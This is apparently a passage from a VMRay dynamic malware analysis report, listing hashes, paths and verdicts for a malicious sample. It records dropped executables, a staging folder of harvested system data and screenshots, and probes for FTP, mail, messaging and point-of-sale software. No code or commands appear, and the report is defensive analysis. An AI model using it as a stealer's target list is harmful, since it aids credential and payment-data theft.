ARTIFACTS

File

SHA256 File Names Category File Size MIME Type Operations Verdict

a6ca5523fce6a4a43964319c
35ecb868186465309e9226a
b07c158519a5ef6f9

C:
\Users\RDhJ0CNFevzX\Desktop\a6c
a5523fce6a4a43964319c35ecb868186
465309e9226ab07c158519a5ef6f9.exe

Sample File 4603.28 KB
application/
vnd.microsoft.portable-
executable

Read, Access MALICIOUS

4b283ec8e073fb61bbb612a1
52eb332a5c92e7473cf6584a
8b716fd87684a936

C:
\Users\RDhJ0CNFevzX\AppData\Ro
aming\ChiefKeefofficialnaxyi_crypted(
6).exe

Dropped File 4910.30 KB
application/
vnd.microsoft.portable-
executable

Write, Access, Create MALICIOUS

39630aaf0e17aa1929b5cf2f4
340c22f22fa6f8f6d76f8398c2
88bff972b95fa

C:
\Users\RDhJ0CNFevzX\AppData\Ro
aming\34432.exe

Dropped File 2311.50 KB
application/
vnd.microsoft.portable-
executable

Write, Access, Create MALICIOUS

a5e27fe611d73d0417bc898b
0ed4fccad39537fc5145a0b4
d7e1122fb2c504fc

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\DotNetZip-nxtjuzlo.tmp, C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1.zip

Dropped File 117.85 KB application/zip
Read, Delete, Write, Access,
Create

CLEAN

715ff57d4c75b4a1ae70218f9
b70ec0341ba0a702944ccbb
e6e2ed8d6db4873e

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Modified File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

bfd60204585f1603ee9faac7c
44adb9fcd6fa56b7748f03ecb
1a9beaa7c56ea1

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_6fe77092-4798-42ae-
bda5-e7f822b580e9

Modified File 1.16 KB application/octet-stream Write, Access, Create CLEAN

72831bc6962c8017ea71abc
038a8f60e79976ebaf05d363
c80f32c975a55d0d9

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_da21122d-ae44-4f93-
ba1d-c9a978ca5b20

Modified File 10.76 KB application/octet-stream Read, Write, Access, Create CLEAN

12bd362291f72f2c2e775674
2b7377549d13d5bf231455d2
3ef250c5bdf18121

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_cc38888a-7080-4220-9b7
d-de7a9b2167ba

Modified File 1.77 KB application/octet-stream Read, Write, Access, Create CLEAN

b0ada1a5b9cd3c6c3c9fa895
bf63665129ea3ac1be1391a2
064296fdf950fe3a

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_6de40067-
cd2a-4666-8cd9-870e0a588215

Modified File 1.60 KB application/octet-stream Write, Access, Create CLEAN

9214d80f84cede2f6a2b72f61
7e0c6a54c75f589b00ff17d28
58041e541f30b0

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_01c28806-e5ae-41cc-...
...evzX\AppData\Local\Microsoft\Wind
ows\PowerShell\CommandAnalysis\P
owerShell_AnalysisCacheEntry_f9e52
a2e-51b0-4ce6-9de0-3959d95ded6e

Modified File 602 bytes application/octet-stream Read, Write, Access, Create CLEAN

bff972df82ef871cff56b4093f6
953a526992555c2913ecd6fe
de0d642b7cc0a

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_67a2505d-bf00-4e2f-
b010-406d32caddc3

Modified File 8.73 KB application/octet-stream Read, Write, Access, Create CLEAN

6b86b273ff34fce19d6b804eff
5a3f5747ada4eaa22f1d49c0
1e52ddb7875b4b

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Temp\atg3pfih.qmd.ps1, C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Temp\2zulbano.ymn.psm1, C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Temp\nhtbl0vg.oqs.psm1, C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Temp\x4g0yyrm.yrp.ps1

Dropped File 1 bytes application/octet-stream
Delete, Write, Access,
Create

CLEAN
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4985daa10ab2e4770670a38
d5cd2a15c3fd7cd1c8ed679d
202a5e9e09b983fc3

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_35cafaf5-03f2-42a2-93c9
-176611e1b15a

Dropped File 690 bytes application/octet-stream Read, Write, Access, Create CLEAN

627e6b88e61562ed24ee216f
5153264bbd7bb259605f2f9f8
9beed3c4aefca57

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_04225cbb-d96f-4dc7-adf1-
f8d1760f2748

Dropped File 974 bytes application/octet-stream Read, Write, Access, Create CLEAN

d4047357a1edf5d34dafe49e
58d3023d40fda12732c9e7e7
e65fa6769e7aacf4

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_0c0b8ee4-e605-4bc0-
a33a-4cb3dc447974

Dropped File 693 bytes application/octet-stream Read, Write, Access, Create CLEAN

a5e8bab64392a30b85f5cb93
bbe3b35cc981c61bc6d4dd1
6d25bcc734dc0e312

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_67d62fa6-
fc88-4ec3-88c2-3552f80eed04

Dropped File 1.41 KB application/octet-stream Read, Write, Access, Create CLEAN

11926ea1d04cd83e8d8f279c
e0c333700c0f68c796c7b4b9
5ab7b1edf5f0ae22

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\S
creenshot.jpg

Dropped File 106.05 KB image/jpeg Read, Access, Delete CLEAN

2a761c02935a44d0f783cfb3
4aee5b514864da123365277
81fa0b341518a9e07

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_d59564cf-
b104-4c7d-9004-001b825e68ce

Dropped File 1016 bytes application/octet-stream Read, Write, Access, Create CLEAN

6266593b76382944b47bcb4
05d8bab9d3ea60d3640c8e9
9bc6d06dd9ba0d7db2

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Inf
ormation.txt

Dropped File 490 bytes text/plain
Read, Delete, Write, Access,
Create

CLEAN

6b6c06abd51531f3f2129e39
27074b7df0624435d9fc6528
83b6e2b57fc6db02

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_c2e444a1-
a8cf-4642-84d4-bf6b49447700

Dropped File 1.86 KB application/octet-stream Read, Write, Access, Create CLEAN

a68d471f739180f6a0d670ce
4757471eb527a06628bfaed1
fa9c8507d0366a63

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_743373ac-59ce-4f0d-866
c-dfe07f42ee30

Dropped File 805 bytes application/octet-stream Write, Access, Create CLEAN

c9d60721420164ef6d1707b4
868440e9a90f3a3f36defbd14
ff7f25ba55652d7

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_faf4cf84-0480-4120-a4e7-
df44a75895d1

Dropped File 805 bytes application/octet-stream Read, Write, Access, Create CLEAN

5d27dc383f4de3692eadfb15
e7ad30b523113c59e6ae595
a8451385f4edb739a

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_dc1db2eb-0493-4424-
b2cc-9326164d47fe

Dropped File 4.78 KB application/octet-stream Write, Access, Create CLEAN

81b1dfc80a53d710a45845c2
ceac7a921b3d2b5033a705a
e2ddbe62773ba6256

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_e819a753-
bfee-41cc-87e9-7a88fcadf60e

Dropped File 1.84 KB application/octet-stream Read, Write, Access, Create CLEAN

1c6d2138e5de6c498ce47be
aa181f5717420306bfffc174c
75d7b2f7d9bdddcf

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_07198b07-5f67-4979-
b796-a52fe0942b9c

Dropped File 1.27 KB application/octet-stream Read, Write, Access, Create CLEAN
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34ed6390a3bc4bc2e0e7fa5c
8e4623e59d88ad14e14b965
13d812689493be057

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_e9866120-4b16-4ca2-9e6
6-af55aa604142

Dropped File 3.79 KB application/octet-stream Read, Write, Access, Create CLEAN

91963953d5bab4cf5d8b01ac
af5f39e809e32567ec8794e8
10566e8402e220c7

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_8e96ee40-6b35-47dc-81d
5-b2d5c2e260b3

Dropped File 2.89 KB application/octet-stream Read, Write, Access, Create CLEAN

76c34383567254ed170d26f6
8c07adb09a8de40be537c45
eb65ef971bf6073ec

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheEntry_3f4f516c-24cd-4f8d-980a-
b1ceaf0436fb

Dropped File 1.68 KB application/octet-stream Read, Write, Access, Create CLEAN

7ec10e1f7b8964b9ec7303cc
d3a6aebf1d23bb79cb7e697c
cbbae34e4aebb88c

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\msgid.dat

Dropped File 12 bytes text/plain Write, Access, Create CLEAN

29840f7d4b32ed407f315125
57810a94139d863cf9cd103e
3c191e74babc9046

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

8654c22b21a114cb105203e
ace56e22969b294667050d8
76f2ddbb82914bd5dd

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

c48d5f650e77d2cca2812340
2a3076d1b60254a04e2c832
efb4f46ea86b1c142

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

0b39a46f94e089fc5f2b3c9f4
45865ad41c58f63c10aa5660
6f0dda146d3757d

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

23a05b3034f9d99dc1fc23bc
a8848e0baaaf8bd366089291
5cdf2052be7be86b

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

b5eafc0d8738aa0243f9062d
409955480186a368e9cb3c6
7f37aa067a2f8409d

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

4ab3408745ed549ae0e65c6f
8b8095698e4cca8cdd91529
01c6025d733fe8d12

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.16 KB application/octet-stream Read, Write, Access, Create CLEAN

c0e001b1ee5b7b2b7540944
a707f5a25f263494c8258d5fc
a2e0d74f369d6454

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.42 KB application/octet-stream Read, Write, Access, Create CLEAN

268c5302ba88eb63c72a535
21aa789795105c69e03aa35
b0bf5d5b11426007ba

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.70 KB application/octet-stream Read, Write, Access, Create CLEAN

7ee6257f3d71e64b2f64b8e5
d7ae8ef7da7c4b4832112c77
5e0bbe1ada9b12e3

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 2.97 KB application/octet-stream Read, Write, Access, Create CLEAN

X-Ray Vision for Malware - www.vmray.com 23 / 38



DYNAMIC ANALYSIS REPORT
#9366089

SHA256 File Names Category File Size MIME Type Operations Verdict

518f19f458d73ba92e9be69e
7263b4ecc34f857e6334f8a6
963da3a0c9cc87d9

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\G
rabber\Users\RDhJ0CNFevzX\Deskt
op\UJaeOBQUW7h.rtf, C:
\Users\RDhJ0CNFevzX\Desktop\UJa
eOBQUW7h.rtf

Dropped File 15.93 KB text/rtf
Read, Delete, Write, Access,
Create

CLEAN

9f5ace47fce9330fd0d5341db
52e2e23bb471852a408e039
4de2ff8a92d12382

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\S
oftware.txt

Dropped File 4.36 KB text/plain
Read, Delete, Write, Access,
Create

CLEAN

97c25cef5780e8f8e2370917
2c4cb80c7feaae4773daedc3
a069394a3f1d2579

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 3.22 KB application/octet-stream Read, Write, Access, Create CLEAN

610c020a6630bbf8fd67026e
10a1b00cb5a75350153eb63
4a8cc4fcf6c6d1b6c

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 3.46 KB application/octet-stream Read, Write, Access, Create CLEAN

e98f96bc9cc0cb467606b075
adad021640901fb8ed2792f4
52c3d082c01ad9b4

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 3.68 KB application/octet-stream Read, Write, Access, Create CLEAN

5eb7ecc9e79cfb71426f7712
5f013ce3d4f2f6cd470615cd4
b555b0dc4881e31

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 3.93 KB application/octet-stream Read, Write, Access, Create CLEAN

f7b73c4cc75d940b5ed23326
60234f8a05936ad8e5ddbdeb
3aa5265d2b038b24

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 4.17 KB application/octet-stream Read, Write, Access, Create CLEAN

0038b9cde1fa23b0219085e1
dd4b1343919e1eddc8efd86b
6f76d247e2ddfaca

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 4.40 KB application/octet-stream Read, Write, Access, Create CLEAN

6fb6f5fbef8875bf2c6b3d0c73
bd08c88ca2b5a5649210c4fa
444402bd07711e

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 4.64 KB application/octet-stream Read, Write, Access, Create CLEAN

0d0cddc8dc2834c30059028f
c51598af7fca64a984bb7236f
54a145c361d390a

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 4.88 KB application/octet-stream Read, Write, Access, Create CLEAN

91f04c98828ee74e2f766182
78e9693fd01b1a823ce0ed48
24e8b4a30d9462a2

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 5.11 KB application/octet-stream Read, Write, Access, Create CLEAN

55708031c12bb04d19981dc
1a4d7f2965906f6147e283c1
8630a48ba84c2dd9a

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 5.35 KB application/octet-stream Read, Write, Access, Create CLEAN

33358d3e64c84de81a2f1b2f
2d01324737aaa06e0b41799
1945e45ae95e11802

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\Microsoft\Windows\PowerShell\Co
mmandAnalysis\PowerShell_Analysis
CacheIndex

Dropped File 5.58 KB application/octet-stream Read, Write, Access, Create CLEAN

6e351b8c534fb7fa3e57ceeb
8631f6dc0a260993802c4db1
237ce2faadd9d6cc

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Pr
ocesses.txt

Dropped File 9.22 KB text/plain
Read, Delete, Write, Access,
Create

CLEAN
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456853e6f255ed9caed715fb
e43cc5ede55e516d51d15d9
159a0b36126d5537b

C:
\Users\RDhJ0CNFevzX\AppData\Loc
al\035feb13ecf1f3145b7745a75a2e1a7
5\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\W
indows.txt

Dropped File 827 bytes text/plain
Read, Delete, Write, Access,
Create

CLEAN

C:\Users\RDHJ0C~1\AppData\Local\Temp\ Accessed File Access, Create CLEAN

C:\Users\RDHJ0C~1\AppData\Local\Temp\nsqEDB0.tmp Accessed File Delete, Access, Create CLEAN

C:
\Users\RDhJ0CNFevzX\Desktop\a6ca5523fce6a4a43964319c35ecb8
68186465309e9226ab07c158519a5ef6f9.exe

Sample File Read, Access CLEAN

C:\Users Accessed File Access, Create CLEAN

C:\Users\RDhJ0CNFevzX Accessed File Access, Create CLEAN

C:\Users\RDhJ0CNFevzX\AppData Accessed File Access, Create CLEAN

C:\Users\RDhJ0CNFevzX\AppData\Roaming Accessed File Access, Create CLEAN

C:
\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_cr
ypted(6).exe

Dropped File Write, Access, Create CLEAN

C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe Dropped File Write, Access, Create CLEAN

System Paging File Accessed File Access CLEAN

C:\Windows\SYSTEM32\cmd.exe Accessed File Access CLEAN

C:\Windows\system32 Accessed File Access CLEAN

C:\Windows\System32 Accessed File Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

Accessed File Access CLEAN

C:
\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.
Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.A
utomation.dll

Accessed File Access CLEAN

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Accessed File Access CLEAN

C:
\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.con
fig

Accessed File Access CLEAN

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75

Accessed File Access, Create CLEAN

C:\Users\RDhJ0CNFevzX\AppData\Local Accessed File Access CLEAN

C:
\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.co
nfig

Accessed File Read, Access CLEAN

C:
\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe.Co
nfig

Accessed File Read, Access CLEAN

C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml Accessed File Access CLEAN

C:\Windows\System32\WindowsPowerShell\v1.0\typesv3.ps1xml Accessed File Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1
xml

Accessed File Read, Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.
ps1xml

Accessed File Read, Access CLEAN
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C:
\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps
1xml

Accessed File Read, Access CLEAN

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml Accessed File Read, Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\HelpV3.format.ps1xml

Accessed File Read, Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.for
mat.ps1xml

Accessed File Read, Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.for
mat.ps1xml

Accessed File Read, Access CLEAN

C:
\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1x
ml

Accessed File Read, Access CLEAN

CONOUT$ Accessed File Access CLEAN

C:\Windows\system32\winlogon.exe Accessed File Access CLEAN

C:\Windows\system32\lsass.exe Accessed File Access CLEAN

C:\Windows\system32\svchost.exe Accessed File Access CLEAN

C:\Windows\system32\dwm.exe Accessed File Access CLEAN

C:\Windows\System32\svchost.exe Accessed File Access CLEAN

C:\Windows\System32\spoolsv.exe Accessed File Access CLEAN

C:\Windows\system32\sihost.exe Accessed File Access CLEAN

C:\ Accessed File Access CLEAN

C:\Program
Files\WindowsApps\Microsoft.Messaging_1.10.22012.0_x86__8weky
b3d8bbwe\SkypeHost.exe

Accessed File Access CLEAN

C:\Program Files\Common Files\Microsoft
Shared\ClickToRun\OfficeClickToRun.exe

Accessed File Access CLEAN

C:\Windows\Explorer.EXE Accessed File Access CLEAN

C:\Windows\system32\taskhostw.exe Accessed File Access CLEAN

C:\Windows\System32\RuntimeBroker.exe Accessed File Access CLEAN

C:
\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellE
xperienceHost.exe

Accessed File Access CLEAN

C:
\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy
\SearchUI.exe

Accessed File Access CLEAN

C:\Windows\system32\wbem\wmiprvse.exe Accessed File Access CLEAN

C:\Program Files\Internet Explorer\iexplore.exe Accessed File Access CLEAN

C:\Program Files\Windows Sidebar\red.exe Accessed File Access CLEAN

C:\Program Files\MSBuild\through door wonder.exe Accessed File Access CLEAN

C:\Program Files (x86)\Reference Assemblies\todayohprove.exe Accessed File Access CLEAN

C:\Windows\system32\wldp.dll Accessed File Access CLEAN

C:\Program Files\Uninstall Information\house.exe Accessed File Access CLEAN

C:\Users\RDhJ0CNFevzX\AppData\Local\Temp\ Accessed File Access CLEAN

C:\Program Files (x86)\Windows Portable Devices\believe cultural
less.exe

Accessed File Access CLEAN
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C:\Users\RDhJ0CNFevzX\AppData\Local\Temp\x4g0yyrm.yrp.ps1 Dropped File
Delete, Write, Access,
Create

CLEAN

C:\Users\RDhJ0CNFevzX\AppData\Local\Temp\2zulbano.ymn.psm1 Dropped File
Delete, Write, Access,
Create

CLEAN

C:\Program Files (x86)\Windows Photo Viewer\event_affect.exe Accessed File Access CLEAN

C:\Program Files\Windows Portable Devices\pm out.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Multimedia Platform\letter candidate
environment.exe

Accessed File Access CLEAN

C:\Program Files\Reference Assemblies\result_data_he.exe Accessed File Access CLEAN

C:\Program Files\Windows NT\enjoy_outside_green.exe Accessed File Access CLEAN

C:\Program Files (x86)\MSBuild\opportunity.exe Accessed File Access CLEAN

C:\Program Files\WindowsPowerShell\fight.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Photo Viewer\through available.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Multimedia
Platform\totalstructure.exe

Accessed File Access CLEAN

C:\Program Files\Common Files\main_those_experience.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Mail\film-federal-season.exe Accessed File Access CLEAN

C:\Program Files\Windows Defender\short-marriage.exe Accessed File Access CLEAN

C:\Program Files\Windows Portable Devices\as_fear_hit.exe Accessed File Access CLEAN

C:\Program Files (x86)\Internet Explorer\when-catch-private.exe Accessed File Access CLEAN

C:\Program Files\Windows Portable Devices\full.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Multimedia Platform\3dftp.exe Accessed File Access CLEAN

C:\Program Files\Windows Defender\absolutetelnet.exe Accessed File Access CLEAN

C:\Program Files\Internet Explorer\alftp.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Sidebar\barca.exe Accessed File Access CLEAN

C:\Program Files (x86)\Internet Explorer\bitkinex.exe Accessed File Access CLEAN

C:\Program Files\Windows Defender\coreftp.exe Accessed File Access CLEAN

C:\Program Files (x86)\Reference Assemblies\far.exe Accessed File Access CLEAN

C:\Program Files (x86)\Common Files\filezilla.exe Accessed File Access CLEAN

C:\Program Files\Reference Assemblies\flashfxp.exe Accessed File Access CLEAN

C:\Program Files (x86)\Internet Explorer\fling.exe Accessed File Access CLEAN

C:\Program Files\Common Files\foxmailincmail.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Defender\gmailnotifierpro.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows NT\icq.exe Accessed File Access CLEAN

C:\Windows Accessed File Access CLEAN

C:\Program Files (x86)\Common Files\leechftp.exe Accessed File Access CLEAN

C:\Program Files (x86)\MSBuild\ncftp.exe Accessed File Access CLEAN

C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 Accessed File Access CLEAN
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C:
\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell
_profile.ps1

Accessed File Access CLEAN

C:
\Users\RDhJ0CNFevzX\Documents\WindowsPowerShell\profile.ps1

Accessed File Access CLEAN

C:
\Users\RDhJ0CNFevzX\Documents\WindowsPowerShell\Microsoft.
PowerShell_profile.ps1

Accessed File Access CLEAN

C:\Program Files (x86)\Windows Sidebar\notepad.exe Accessed File Access CLEAN

C:\Program Files (x86)\WindowsPowerShell\operamail.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Portable Devices\outlook.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Portable Devices\pidgin.exe Accessed File Access CLEAN

C:\Program Files (x86)\Microsoft.NET\scriptftp.exe Accessed File Access CLEAN

C:\Program Files\Windows Sidebar\skype.exe Accessed File Access CLEAN

C:\Program Files (x86)\Microsoft.NET\smartftp.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Media Player\thunderbird.exe Accessed File Access CLEAN

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE Accessed File Access CLEAN

C:\Program Files\Windows Mail\totalsizedemocratic.exe Accessed File Access CLEAN

C:\Program Files\Windows NT\part.exe Accessed File Access CLEAN

C:\Program Files\Uninstall Information\win-run.exe Accessed File Access CLEAN

C:\Program Files\Windows Portable Devices\ability.exe Accessed File Access CLEAN

C:\Program Files\WindowsPowerShell\anything color series.exe Accessed File Access CLEAN

C:\Program Files (x86)\Reference Assemblies\utg2.exe Accessed File Access CLEAN

C:\Program Files\Windows Portable Devices\spgagentservice.exe Accessed File Access CLEAN

C:\Program Files (x86)\Microsoft.NET\spcwin.exe Accessed File Access CLEAN

C:\Program Files (x86)\Microsoft.NET\omnipos.exe Accessed File Access CLEAN

C:\Program Files (x86)\MSBuild\mxslipstream.exe Accessed File Access CLEAN

C:\Program Files\Windows Media Player\isspos.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows NT\fpos.exe Accessed File Access CLEAN

C:\Program Files (x86)\WindowsPowerShell\edcsvr.exe Accessed File Access CLEAN

C:\Program Files (x86)\Common Files\creditservice.exe Accessed File Access CLEAN

C:\Program Files\Windows NT\centralcreditcard.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Multimedia Platform\ccv_server.exe Accessed File Access CLEAN

C:\Program Files (x86)\WindowsPowerShell\aldelo.exe Accessed File Access CLEAN

C:\Program Files\Common Files\afr38.exe Accessed File Access CLEAN

C:\Program Files\Microsoft Office 15\accupos.exe Accessed File Access CLEAN

C:\Windows\System32\Wbem Accessed File Access CLEAN

C:\Windows\System32\WindowsPowerShell\v1.0\ Accessed File Access CLEAN

